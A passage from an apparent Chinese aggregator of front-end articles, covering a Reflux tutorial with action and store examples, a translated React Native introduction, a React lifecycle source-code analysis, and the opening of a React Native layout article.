返回值是一个函数，调用这个函数就会触发相应的事件，在store中监听这个函数，并作相应的处理


var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

addItem({name: 'xxx'});



创建多个Action


var TodoActions = Reflux.createActions([
    'addItem',
    'deleteItem'
]);



store监听actions的行为：


var TodoActions = Reflux.createActions([
    'addItem',
    'deleteItem'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(TodoActions.addItem, 'addItem');
        this.listenTo(TodoActions.deleteItem, 'deleteItem');
    },
    addItem: function (model) {
       console.log(model)
    },
    deleteItem:function(model){
        console.log(model);
    }
});

TodoActions.addItem({name:'xxx'});
TodoActions.deleteItem({name:'yyy'});



异步Action


真实的应用场景中，几乎所有的操作都会向后端请求，而这些操作都是异步的，Reflux也提供了相应的Promise接口


var getAll = Reflux.createAction({asyncResult:true});



例如获取全部数据：


var getAll = Reflux.createAction({asyncResult: true});

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(getAll, 'getAll');
    },
    getAll: function (model) {
        $.get('/all', function (data) {
            if (data) {
                getAll.completed(data);
            } else {
                getAll.failed(data);
            }

        });
    }
});

getAll({name: 'xxx'})
    .then(function (data) {
        console.log(data);
    })
    .catch(function (err) {
        throw err;
    });



Action hooks


Reflux为每个action都提供了两个hook方法



	preEmit(params)，action emit之前调用，参数是action传递过来的，返回值会传递给shouldEmit

	shouldEmit(params) action emit之前调用，参数默认是action传递，如果preEmit有返回值，则是preEmit返回值，返回值决定是否emit



情景一：


var addItem = Reflux.createAction({
    preEmit: function (params) {
        console.log('preEmit:' + params);           
    },
    shouldEmit: function (params) {
        console.log('shouldEmit:' + params);           
    }
});

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (params) {
        console.log('addItem:' + params);
    }
});

addItem('xxx');

控制台打印
$ preEmit:xxx
$ shouldEmit:xxx



情景二：


var addItem = Reflux.createAction({
    preEmit: function (params) {
        console.log('preEmit:' + params);
        return 324;
    },
    shouldEmit: function (params) {
        console.log('shouldEmit:' + params);
        return true;
    }
});

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (params) {
        console.log('addItem:' + params);
    }
});

addItem('xxx');

控制台打印
$ preEmit:xxx
$ shouldEmit:324
$ addItem:324




  注意几个返回值和参数的关系




Action Methods


当需要给所有的action添加公用方法时，可以这么干：


Reflux.ActionMethods.print = function (str) {
    console.log(str);
};

var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (params) {
        console.log('addItem:' + params);
    }
});

addItem.print('xxx');



trigger、triggerAsync和triggerPromise


直接调用addItem()实际上是调用trigger或者triggerAsync或者triggerPromise，它们区别在于


var addItem = Reflux.createAction(); addItem();                 #默认调用triggerAsync，相当于addItem.triggerAsync()
var addItem = Reflux.createAction({sync:true});addItem();       #默认调用trigger，相当于addItem.trigger()
var addItem = Reflux.createAction({asyncResult:true});addItem();#默认调用triggerPromise，相当于addItem.triggerPromise()



trigger和triggerAsync区别在于：


triggerAsync = setTimeout(function () {
    trigger()
}, 0);



trigger和triggerPromise区别在于，triggerPromise的返回值是promise


创建Store


Store可以响应Action的行为，并同服务器交互。


监听单个Action


在init方法中添加监听处理


var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

addItem({name: 'xxx'});



监听多个Action


作死写法


var TodoActions = Reflux.createActions([
    'addItem',
    'deleteItem'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(TodoActions.addItem, 'addItem');
        this.listenTo(TodoActions.deleteItem, 'deleteItem');
    },
    addItem: function (model) {
        console.log(model);
    },
    deleteItem: function (model) {
        console.log(model);
    }
});

TodoActions.addItem({name: 'xxx'});
TodoActions.deleteItem({name: 'yyy'});



两个action的时候在init里写了两遍监听处理方法，如果有十个甚至多个的话，写起来就像这样的：


var TodoActions = Reflux.createActions([
    'item1',
    'item2',
    'item3',
    'item4',
    'item5',
    'item6',
    'item7',
    'item8',
    'item9',
    'item10'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(TodoActions.item1, 'item1');
        this.listenTo(TodoActions.item2, 'item2');
        this.listenTo(TodoActions.item3, 'item3');
        this.listenTo(TodoActions.item4, 'item4');
        this.listenTo(TodoActions.item5, 'item5');
        this.listenTo(TodoActions.item6, 'item6');
        this.listenTo(TodoActions.item7, 'item7');
        this.listenTo(TodoActions.item8, 'item8');
        this.listenTo(TodoActions.item9, 'item9');
        this.listenTo(TodoActions.item10, 'item10');

    },
    item1: function (model) {
        console.log(model);
    },
    item2: function (model) {
        console.log(model);
    }
});

TodoActions.item1({name: 'xxx'});
TodoActions.item2({name: 'yyy'});



listenToMany


还好Reflux给我们提供了listenToMany方法，避免重复劳动：


var TodoActions = Reflux.createActions([
    'item1',
    'item2',
    'item3',
    'item4',
    'item5',
    'item6',
    'item7',
    'item8',
    'item9',
    'item10'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenToMany(TodoActions);
    },
    onItem1: function (model) {
        console.log(model);
    },
    onItem2: function (model) {
        console.log(model);
    }
});

TodoActions.item1({name: 'xxx'});
TodoActions.item2({name: 'yyy'});



处理方法只需让action的标识首字母大写并加上on就可以了。



  标识如果首字母大写就会识别不了，例如将上面的item1改成Itme1。这坑爹的！




listenables


var TodoActions = Reflux.createActions([
    'item1',
    'item2',
    'item3',
    'item4',
    'item5',
    'item6',
    'item7',
    'item8',
    'item9',
    'item10'
]);

var TodoStore = Reflux.createStore({
    listenables: [TodoActions],
    onItem1: function (model) {
        console.log(model);
    },
    onItem2: function (model) {
        console.log(model);
    }
});

TodoActions.item1({name: 'xxx'});
TodoActions.item2({name: 'yyy'});



一般我们写真实应用的时候都应该采用这种写法！！！


Store Methods


拓展Store的公用方法有两种方式。


方式一


Reflux.StoreMethods.print = function (str) {
    console.log(str);
};

var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

TodoStore.print('rrr');



方式二


var Mixins = {
    print: function (str) {
        console.log(str);
    }
}

var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    mixins: [Mixins],
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

TodoStore.print('rrr');



同组件结合


前面说了，Action、Store和组件这三者是通过事件机制响应变化的，构建组件的时候首先需要监听Store的状态。

先定义Action和Store


var TodoActions = Reflux.createActions([
    'getAll'
]);

var TodoStore = Reflux.createStore({
    items: [1,2,3],
    listenables: [TodoActions],
    onGetAll: function () {
        this.trigger(this.items);
    }
});



基本


var TodoComponent = React.createClass({
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function (list) {
        this.setState({list: list});
    },
    componentDidMount: function () {
        this.unsubscribe = TodoStore.listen(this.onStatusChange);
        TodoActions.getAll();
    },
    componentWillUnmount: function () {
        this.unsubscribe();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});    
React.render(<TodoComponent />, document.getElementById('container'));



这里有两点需要注意：



	当组件的生命周期结束时需要解除对Store的监听

	当Store调用trigger时，才会执行onStatusChange函数，所以每次Store更新时，需要手动调用trigger函数



Mixins


var TodoComponent = React.createClass({
    mixins: [Reflux.ListenerMixin],
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function (list) {
        this.setState({list: list});
    },
    componentDidMount: function () {
        this.unsubscribe = TodoStore.listen(this.onStatusChange);
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



Reflux.listenTo


var TodoComponent = React.createClass({
    mixins: [Reflux.listenTo(TodoStore,'onStatusChange')],
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function (list) {
        this.setState({list: list});
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



Reflux.connect


var TodoComponent = React.createClass({
    mixins: [Reflux.connect(TodoStore,'list')],
    getInitialState: function () {
        return {list: []};
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



数据会自动更新到state的list当中。


Reflux.connectFilter


var TodoComponent = React.createClass({
    mixins: [Reflux.connectFilter(TodoStore, 'list', function (list) {
        return list.filter(function (item) {
            return item > 1;
        });
    })],
    getInitialState: function () {
        return {list: []};
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



对数据加了一层过滤器。



  以上便Component同Store交互的内容，大家可以根据实际情况选择不同的写法。




小结


我这人喜欢拿代码来表述思想。


var TodoActions = Reflux.createActions([
    'getAll',
    'addItem',
    'deleteItem',
    'updateItem'
]);

var TodoStore = Reflux.createStore({
    items: [1, 2, 3],
    listenables: [TodoActions],
    onGetAll: function () {
        $.get('/all', function (data) {
            this.items = data;
            this.trigger(this.items);
        }.bind(this));
    },
    onAddItem: function (model) {
        $.post('/add', model, function (data) {
            this.items.unshift(data);
            this.trigger(this.items);
        }.bind(this));
    },
    onDeleteItem: function (model, index) {
        $.post('/delete', model, function (data) {
            this.items.splice(index, 1);
            this.trigger(this.items);
        }.bind(this));
    },
    onUpdateItem: function (model, index) {
        $.post('/update', model, function (data) {
            this.items[index] = data;
            this.trigger(this.items);
        }.bind(this));
    }
});


var TodoComponent = React.createClass({
    mixins: [Reflux.connect(TodoStore, 'list')],
    getInitialState: function () {
        return {list: []};
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },   
    render: function () {
        return (
            <div>
                {this.state.list.map(function(item){
                    return <TodoItem data={item}/>
                })}
            </div>
        )
    }
});

var TodoItem = React.createClass({
    componentDidMount: function () {
        TodoActions.getAll();
    },
    handleAdd: function (model) {
        TodoActions.addItem(model);
    },
    handleDelete: function (model,index) {
        TodoActions.deleteItem(model,index);
    },
    handleUpdate: function (model) {
        TodoActions.updateItem(model);
    },
    render: function () {
        var item=this.props.data;
        return (
            <div>
                <p>{item.name}</p>
                <p>{item.email}</p>
                <p>/*操作按钮*/</p>
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



实际情况远比这复杂，只是提供一个思路供大家参考。


代码链接


github


参考


Reflux


 React Native 的一些介绍(正式发布之前的, 已过时)

作者：题叶

来源： React Native 的一些介绍(正式发布之前的, 已过时)



                    
这篇文章是在 React Native 发布之前写的, 已经过时了.

如果想了解推荐下面几个链接:



	官网 http://facebook.github.io/react-native/


	中文文档翻译 https://github.com/reactjs-cn/react-native


	中文社区导航 http://nav.react-china.org/




以及下方评论给的极客学院的中文版介绍:



	http://wiki.jikexueyuan.com/project/react-native/





不知道上下文的同学可以扫一眼 CSDN 上的介绍:
http://www.csdn.net/article/2015-01-29/2823762-facebook-announces-reac...


React Conf 的视频在这里:
http://react-china.org/t/guan-yu-react-native-xian-zai-de-xin-xi/241


原文是 Hacker News 上的帖子, 我做了很粗糙的翻译, 其中内容对视频做一些补充:
https://news.ycombinator.com/item?id=8964935


明天第二天的大会当中发布具体的信息之间, 这篇翻译的内容也许有不准, 请参考英文跟进




我是 Jordan 我在 React 团队(也是 React Native 团队). 这个线索已经有一些很棒的问题和看法了.

React Native 围绕着生产力(当然还有能够使用 React 这套放弃)提供了大量的方便,

不过因为有很多关于性能的问题, 我想我还是分享一些我个人关于它的看法.


React Native 和其他的方案区别很大, 由于:



	我们并不是希望给你一个神奇的戏法能让在你不改变任何的开发哲学/习惯的情况下就能自动生成出很棒的移动应用体验.

如果你在做移动开发, 你想要很棒的用户体验. 你必需是要关心性能, 必须关心怎么编写精细的交互.

任何优秀的移动端体验后面, 都需要很专心的人. 不要相信别的说法.

不过, 我感到相比而言要达到那样有些的效果, React Native 要求开发开发者做的工作, 比其他我见过的备选方案要做的工作要少得多.


	React Native 完全不用 DOM. React 原本用来解决浏览器开发中出现的, 不可预测的编程实践当中常见的性能问题,

但是也仅仅能帮你做那么多而已.

React Native 提升了一个层次, 不止于浏览器所能做的.

React Native 展示的 ReactJS 总是更多地偏向于 "zero DOM" 而不是 "virtual DOM"(跟大家以为的相反).


	React Native 也很特别, 因为我们想要继承一些 Web 开发当中好的地方.

这是因为我们只是想要性能, 想要 Native View 的资源的控制能力, 而不是要抛弃 Web 开发优秀的内容.

在 React Native 当中, 你可是使用 CSS Flexbox 对 Native View 进行布局,

同时有很多很熟悉的样式属性, 但是不会有泛滥的 CSS style reflow.

事件系统也跟现在 React 应用当中的一致, 因为类库的代码是一样的.

按照 Web 开发中让我们高效开发的样式/布局的子集来构建应用,

那样开发者就能在当下就构建优秀的 Web 应用, 而不是把时间排到未来.

我认为真的, 相比鼓励开发者抛弃任何哪怕有点像 Web 技术的东西然后学一门完全不同的工具链(甚至两门三门), 这样要好得多.


	React Native 特殊的地方还在于它可以用 JavaScript 来写高质量的应用.

在浏览器当中, 你很可能要对付一些低层级的限制, 然后你没有办法.

或者是不能访问平台上的控件(在 scroll view 当中包含 physics/Maps),

或者是你在实现当中总是被图片解码干扰, 没什么办法.




用 React Native 的话, 你可以有一些办法了.

你可以在 ReactJS 应用当中使用那些永远不会用 JS 来实现的 view(比如地图),

而且你的构建当中可以用一些更高的执行粒度的 block,

(多线程解码的 <Image />)(不使用 DOM 的 <View > block)

结果是这带来了质量方面到了空前的层次的感觉, 而且对应平台的特征.


 React 源码剖析系列 － 生命周期的管理艺术

作者：twobin

来源： React 源码剖析系列 － 生命周期的管理艺术



                    
目前，前端领域中 React 势头正盛，很少能够深入剖析内部实现机制和原理。本系列文章希望通过剖析 React 源码，理解其内部的实现原理，知其然更要知其所以然。

对于 React，其组件生命周期（Component Lifecycle）是它的核心概念，本文从源码入手，来剖析 React 生命周期的管理艺术。


	阅读本文需要对 React 有一定的了解，如果你不知何为组件的生命周期，请详读 React 生命周期的文档。


	如果你对 React 组件的生命周期存在些许疑惑，如生命周期如何顺序管理；setState 如何实现异步操作，又是何时真正更新等，那么本文值得阅读。




前言

React 的主要思想是通过构建可复用组件来构建用户界面。所谓组件其实就是 有限状态机，通过状态渲染对应的界面，且每个组件都有自己的生命周期，它规定了组件的状态和方法需要在哪个阶段进行改变和执行。

有限状态机（FSM），表示有限个状态以及在这些状态之间的转移和动作等行为的模型。一般通过状态、事件、转换和动作来描述有限状态机，下面是描述组合锁状态机的模型图，包括5个状态、5个状态自转换、6个状态间转换和1个复位 RESET 转换到状态 S1。状态机，能够记住目前所处的状态，根据当前的状态可以做出相应的决策，并且在进入不同的状态时，可以做不同的操作。通过状态机将复杂的关系简单化，利用这种自然而直观的方式可以让代码更容易理解。



React 正是利用这一概念，通过管理状态来实现对组件的管理。例如，某个组件有显示和隐藏两个状态，通常会设计两个方法 show() 和 hide() 来实现切换；而 React 只需要设置状态 setState({ showed: true/false }) 即可实现。同时，React 还引入了组件的生命周期概念。通过它就可以实现组件的状态机控制，从而达到 “生命周期－状态－组件” 的和谐画面。

虽然组件、状态机、生命周期这三者都不是 React 独创，如果熟悉 Web Components 标准，它与其中的自定义组件的生命周期的概念相似。但就目前而言，React 是将这三种概念结合地相对清晰流畅的界面库。

初探 React 生命周期

在自定义 React 组件时，根据需要会在组件生命周期的不同阶段实现不同的逻辑。为了查看 组件生命周期的执行顺序，你可以使用 react-lifecycle mixin，将此 mixin 添加到需要观察的组件中，当任何生命周期方法被调用时，都能在控制台观察到对应的生命周期的调用时状态。

// react-lifecycle mixin
import React from 'react';
import ReactDom from 'react-dom';
import LifeCycle from 'react-lifecycle';

const body = document.body;

const MyComponent = React.createClass({
  mixins: [LifeCycle],

  render() {
    console.log('render');
    return null;
  }
});

ReactDom.render(<MyComponent />, body);
ReactDom.unmountComponentAtNode(body);
ReactDom.render(<MyComponent />, body);
ReactDom.render(<MyComponent />, body);

通过反复试验，得到了组件的生命周期在不同状态下的执行顺序：


	当首次装载组件时，按顺序执行 getDefaultProps、getInitialState、componentWillMount、render 和 componentDidMount；


	当卸载组件时，执行 componentWillUnmount；


	当重新装载组件时，此时按顺序执行 getInitialState、componentWillMount、render 和 componentDidMount，但并不执行 getDefaultProps；


	当再次渲染组件时，组件接受到更新状态，此时按顺序执行  componentWillReceiveProps、shouldComponentUpdate、componentWillUpdate、render 和 componentDidUpdate。






疑问


	为何 React 会按上述顺序执行生命周期？


	为何 React 多次 render 时，会执行生命周期的不同阶段？


	为何 getDefaultProps 只执行了1次？




详解 React 生命周期

自定义组件（ReactCompositeComponent）的生命周期主要通过三种状态进行管理：MOUNTING、RECEIVE_PROPS、UNMOUNTING，它们负责通知组件当前所处的状态，应该执行生命周期中的哪个步骤，是否可以更新 state。三个状态对应三种方法，分别为：mountComponent、updateComponent、unmountComponent，每个方法都提供了两种处理方法，will 方法在进入状态之前调用，did 方法在进入状态之后调用，三种状态三种方法五种处理方法，此外还提供两种特殊状态的处理方法。


	mountComponent -> MOUNTING


	updateComponent -> RECEIVE_PROPS


	unmountComponent -> UNMOUNTING






createClass 创建自定义组件

createClass 创建自定义组件的入口方法，负责管理生命周期中的 getDefaultProps。getDefaultProps 方法只执行一次，这样所有实例初始化的 props 将会被共享。

通过 createClass 创建自定义组件，利用原型继承 ReactCompositeComponentBase 父类，按顺序合并 mixins，设置初始化 defaultProps，创建元素 ReactElement。

// ReactCompositeComponent 的基类
var ReactCompositeComponentBase = function() {};

// 将 Mixin 合并到 ReactCompositeComponentBase 的原型上
assign(
  ReactCompositeComponentBase.prototype,
  ReactComponent.Mixin,
  ReactOwner.Mixin,
  ReactPropTransferer.Mixin,
  ReactCompositeComponentMixin
);

var ReactCompositeComponent = {
  LifeCycle: CompositeLifeCycle,
  Base: ReactCompositeComponentBase,

  // 创建组件
  createClass: function(spec) {
    // 构造函数
    var Constructor = function(props, context) {
      this.props = props;
      this.context = context;
      this.state = null;
      var initialState = this.getInitialState ? this.getInitialState() : null;
      this.state = initialState;
    };

    // 原型继承父类
    Constructor.prototype = new ReactCompositeComponentBase();
    Constructor.prototype.constructor = Constructor;

    // 合并 mixins
    injectedMixins.forEach(
      mixSpecIntoComponent.bind(null, Constructor)
    );
    mixSpecIntoComponent(Constructor, spec);

    // mixins 合并后装载 defaultProps (React整个生命周期中 getDefaultProps 只执行一次)
    if (Constructor.getDefaultProps) {
      Constructor.defaultProps = Constructor.getDefaultProps();
    }

    for (var methodName in ReactCompositeComponentInterface) {
      if (!Constructor.prototype[methodName]) {
        Constructor.prototype[methodName] = null;
      }
    }

    return ReactElement.createFactory(Constructor);
  }
}

状态一：MOUNTING

mountComponent 负责管理生命周期中的 getInitialState、componentWillMount、render 和 componentDidMount。

由于 getDefaultProps 是通过 Constructor 进行管理，因此也是整个生命周期中最先开始执行，而 mountComponent 只能望洋兴叹，无法调用到 getDefaultProps。这就解释了为何 getDefaultProps 只执行1次的原因。

由于通过 ReactCompositeComponentBase 返回的是一个虚拟节点，因此需要利用 instantiateReactComponent 去得到实例，再使用 mountComponent 拿到结果作为当前自定义元素的结果。

首先通过 mountComponent 装载组件，此时，将状态设置为 MOUNTING，利用 getInitialState 获取初始化 state，初始化更新队列。

若存在 componentWillMount，则执行；如果此时在 componentWillMount 中调用 setState，是不会触发 reRender，而是进行 state 合并。

到此时，已经完成 MOUNTING 的工作，更新状态为 NULL，同时 state 也将执行更新操作，此刻在 render 中可以获取更新后的 this.state 数据。

其实，mountComponent 本质上是通过 递归渲染 内容的，由于递归的特性，父组件的 componentWillMount 一定在其子组件的 componentWillMount 之前调用，而父组件的 componentDidMount 肯定在其子组件的 componentDidMount 之后调用。

当渲染完成之后，若存在 componentDidMount 则触发。这就解释了 componentWillMount - render - componentDidMount 三者之间的执行顺序。



instantiateReactComponent 通过判断元素类型（类型包括：object、string、function）创建元素实例，这里不做过多介绍，当讲解到 React Virtual DOM 时，再详细介绍此方法。



// 装载组件
mountComponent: function(rootID, transaction, mountDepth) {
  // 当前状态为 MOUNTING
  this._compositeLifeCycleState = CompositeLifeCycle.MOUNTING;

  // 当前元素对应的上下文
  this.context = this._processContext(this._currentElement._context);

  // 当前元素对应的 props
  this.props = this._processProps(this.props);

  // 获取初始化 state
  this.state = this.getInitialState();

  // 初始化更新队列
  this._pendingState = null;
  this._pendingForceUpdate = false;

  // componentWillMount 调用setstate，不会触发rerender而是自动提前合并
  if (this.componentWillMount) {
    this.componentWillMount();
    if (this._pendingState) {
      this.state = this._pendingState;
      this._pendingState = null;
    }
  }

  // 得到 _currentElement 对应的 component 类实例
  this._renderedComponent = instantiateReactComponent(
    this._renderValidatedComponent(),
    this._currentElement.type
  );

  // 完成 MOUNTING，更新 state
  this._compositeLifeCycleState = null;

  // render 递归渲染
  var markup = this._renderedComponent.mountComponent(
    rootID,
    transaction,
    mountDepth + 1
  );

  // 如果存在 this.componentDidMount，则渲染完成后触发
  if (this.componentDidMount) {
    transaction.getReactMountReady().enqueue(this.componentDidMount, this);
  }

  return markup;
}

状态二：RECEIVE_PROPS

updateComponent 负责管理生命周期中的 componentWillReceiveProps、shouldComponentUpdate、componentWillUpdate、render 和 componentDidUpdate。

首先通过 updateComponent 更新组件，如果前后元素不一致说明需要进行组件更新，此时将状态设置为 RECEIVING_PROPS。

若存在 componentWillReceiveProps，则执行；如果此时在 componentWillReceiveProps 中调用 setState，是不会触发 reRender，而是进行 state 合并。

到此时，已经完成 RECEIVING_PROPS 工作，更新状态为 NULL，同时 state 也将执行更新操作，此刻 this.state 可以获取到更新后的数据。

注意：此时 this.state 虽然获取到更新数据，但只能在内部源码中使用，我们在开发时，若在 componentWillReceiveProps 中调用 setState，那么在 componentWillReceiveProps、shouldComponentUpdate 和 componentWillUpdate 中还是无法获取到更新后的 this.state，即此时访问的 this.state 仍然是未更新的数据，只有在 render 和 componentDidUpdate 中才能获取到更新后的 this.state。



调用 shouldComponentUpdate 判断是否需要进行组件更新，如果存在 componentWillUpdate，则执行。

updateComponent 本质上也是通过 递归渲染 内容的，由于递归的特性，父组件的 componentWillUpdate 一定在其子组件的 componentWillUpdate 之前调用，而父组件的 componentDidUpdate 肯定在其子组件 componentDidUpdate 之后调用。

当渲染完成之后，若存在 componentDidUpdate，则触发，这就解释了 componentWillReceiveProps - componentWillUpdate - render - componentDidUpdate 它们之间的执行顺序。

注意：禁止在 shouldComponentUpdate 和 componentWillUpdate 中调用 setState，会造成循环调用，直至耗光浏览器内存后崩溃。（请继续阅读，寻找答案）





// 更新组件
updateComponent: function(transaction, prevParentElement, nextParentElement) {
  var prevContext = this.context;
  var prevProps = this.props;
  var nextContext = prevContext;
  var nextProps = prevProps;

  if (prevParentElement !== nextParentElement) {
    nextContext = this._processContext(nextParentElement._context);
    nextProps = this._processProps(nextParentElement.props);
    // 当前状态为 RECEIVING_PROPS
    this._compositeLifeCycleState = CompositeLifeCycle.RECEIVING_PROPS;

    // 如果存在 componentWillReceiveProps，则执行
    if (this.componentWillReceiveProps) {
      this.componentWillReceiveProps(nextProps, nextContext);
    }
  }

  // 设置状态为 null，更新 state
  this._compositeLifeCycleState = null;
  var nextState = this._pendingState || this.state;
  this._pendingState = null;
  var shouldUpdate =
    this._pendingForceUpdate ||
    !this.shouldComponentUpdate ||
    this.shouldComponentUpdate(nextProps, nextState, nextContext);
  if (!shouldUpdate) {
    // 如果确定组件不更新，仍然要设置 props 和 state
    this._currentElement = nextParentElement;
    this.props = nextProps;
    this.state = nextState;
    this.context = nextContext;
    this._owner = nextParentElement._owner;
    return;
  }
  this._pendingForceUpdate = false;

  ......

  // 如果存在 componentWillUpdate，则触发
  if (this.componentWillUpdate) {
    this.componentWillUpdate(nextProps, nextState, nextContext);
  }

  // render 递归渲染
  var nextMarkup = this._renderedComponent.mountComponent(
    thisID,
    transaction,
    this._mountDepth + 1
  );

  // 如果存在 componentDidUpdate，则触发
  if (this.componentDidUpdate) {
    transaction.getReactMountReady().enqueue(
      this.componentDidUpdate.bind(this, prevProps, prevState, prevContext),
      this
    );
  }
},

状态三：UNMOUNTING

unmountComponent 负责管理生命周期中的 componentWillUnmount。

首先将状态设置为 UNMOUNTING，若存在 componentWillUnmount，则执行；如果此时在 componentWillUnmount 中调用 setState，是不会触发 reRender。更新状态为 NULL，完成组件卸载操作。

// 卸载组件
unmountComponent: function() {
  // 设置状态为 UNMOUNTING
  this._compositeLifeCycleState = CompositeLifeCycle.UNMOUNTING;

  // 如果存在 componentWillUnmount，则触发
  if (this.componentWillUnmount) {
    this.componentWillUnmount();
  }

  // 更新状态为 null
  this._compositeLifeCycleState = null;
  this._renderedComponent.unmountComponent();
  this._renderedComponent = null;

  ReactComponent.Mixin.unmountComponent.call(this);
}

setState 更新机制

当调用 setState 时，会对 state 以及 _pendingState 更新队列进行合并操作，但其实真正更新 state 的幕后黑手是 replaceState。

replaceState 会先判断当前状态是否为 MOUNTING，如果不是即会调用 ReactUpdates.enqueueUpdate 执行更新。

当状态不为 MOUNTING 或 RECEIVING_PROPS 时，performUpdateIfNecessary 会获取 _pendingElement、_pendingState、_pendingForceUpdate，并调用 updateComponent 进行组件更新。

如果在 shouldComponentUpdate 或 componentWillUpdate 中调用 setState，此时的状态已经从 RECEIVING_PROPS -> NULL，则 performUpdateIfNecessary 就会调用 updateComponent 进行组件更新，但 updateComponent 又会调用 shouldComponentUpdate 和 componentWillUpdate，因此造成循环调用，使得浏览器内存占满后崩溃。



// 更新 state
setState: function(partialState, callback) {
  // 合并 _pendingState
  this.replaceState(
    assign({}, this._pendingState || this.state, partialState),
    callback
  );
},

// 更新 state
replaceState: function(completeState, callback) {
  validateLifeCycleOnReplaceState(this);

  // 更新队列
  this._pendingState = completeState;

  // 判断状态是否为 MOUNTING，如果不是，即可执行更新
  if (this._compositeLifeCycleState !== CompositeLifeCycle.MOUNTING) {
    ReactUpdates.enqueueUpdate(this, callback);
  }
},

// 如果存在 _pendingElement、_pendingState、_pendingForceUpdate，则更新组件
performUpdateIfNecessary: function(transaction) {
  var compositeLifeCycleState = this._compositeLifeCycleState;

  // 当状态为 MOUNTING 或 RECEIVING_PROPS时，则不更新
  if (compositeLifeCycleState === CompositeLifeCycle.MOUNTING ||
      compositeLifeCycleState === CompositeLifeCycle.RECEIVING_PROPS) {
    return;
  }

  var prevElement = this._currentElement;
  var nextElement = prevElement;
  if (this._pendingElement != null) {
    nextElement = this._pendingElement;
    this._pendingElement = null;
  }

  // 调用 updateComponent
  this.updateComponent(
    transaction,
    prevElement,
    nextElement
  );
}

总结


	React 通过三种状态：MOUNTING、RECEIVE_PROPS、UNMOUNTING，管理整个生命周期的执行顺序；


	setState 会先进行 _pendingState 更新队列的合并操作，不会立刻 reRender，因此是异步操作，且通过判断状态（MOUNTING、RECEIVE_PROPS）来控制 reRender 的时机；


	不建议在 getDefaultProps、getInitialState、shouldComponentUpdate、componentWillUpdate、render 和 componentWillUnmount 中调用 setState，特别注意：不能在 shouldComponentUpdate 和 componentWillUpdate 中调用 setState，会导致循环调用。






参考资料


	Component API


	Component Specs and Lifecycle


	Thinking in React


	Polymer registering elements


	JavaScript 与有限状态机




如果本文能够为你解决些许关于 React 生命周期管理的疑惑，请点个赞吧！


 react-native 之布局篇

作者：陈学家_6174

来源： react-native 之布局篇



                    
宽度单位和像素密度

react的宽度不支持百分比，设置宽度时不需要带单位 {width: 10}， 那么10代表的具体宽度是多少呢？  

不知道是官网文档不全还是我眼瞎，反正是没找到，那做一个实验自己找吧：

    var Dimensions = require('Dimensions');
    <Text style={styles.welcome}>
          window.width={Dimensions.get('window').width + '\n'} 
          window.height={Dimensions.get('window').height + '\n'} 
          pxielRatio={PixelRatio.get()}
    </Text> 

默认用的是ihone6的模拟器结果是：

    window.width=375
    window.height=667

我们知道iphone系列的尺寸如下图：



可以看到iphone 6的宽度为 375pt，对应了上边的375，实际上官文指出的单位为 dp 。 那如何获取实际的像素尺寸呢？ 这对图片的高清化很重要，如果我的图片大小为100100 px. 设置宽度为100  100. 那在iphone上的尺寸就是模糊的。 这个时候需要的图像大小应该是 100 * pixelRatio的大小 。 

react 提供了PixelRatio 的获取方式https://facebook.github.io/react-native/docs/pixelratio.html

 var image = getImage({
   width: 200 * PixelRatio.get(),
   height: 100 * PixelRatio.get()
 });
 <Image source={image} style={{width: 200, height: 100}} />

flex的布局

默认宽度

我们知道一个div如果不设置宽度，默认的会占用100%的宽度， 为了验证100%这个问题， 做三个实验


	根节点上方一个View， 不设置宽度


	固定宽度的元素上设置一个View， 不设置宽度


	flex的元素上放一个View宽度， 不设置宽度




 <Text style={[styles.text, styles.header]}>
      根节点上放一个元素，不设置宽度
  </Text>        

  <View style={{height: 20, backgroundColor: '#333333'}} />

  <Text style={[styles.text, styles.header]}>
      固定宽度的元素上放一个View，不设置宽度
  </Text> 

  <View style={{width: 100}}>
    <View style={{height: 20, backgroundColor: '#333333'}} />
  </View>

  <Text style={[styles.text, styles.header]}>
      flex的元素上放一个View，不设置宽度
  </Text> 

  <View style={{flexDirection: 'row'}}>
    <View style={{flex: 1}}>
      <View style={{height: 20, backgroundColor: '#333333'}} />
    </View>
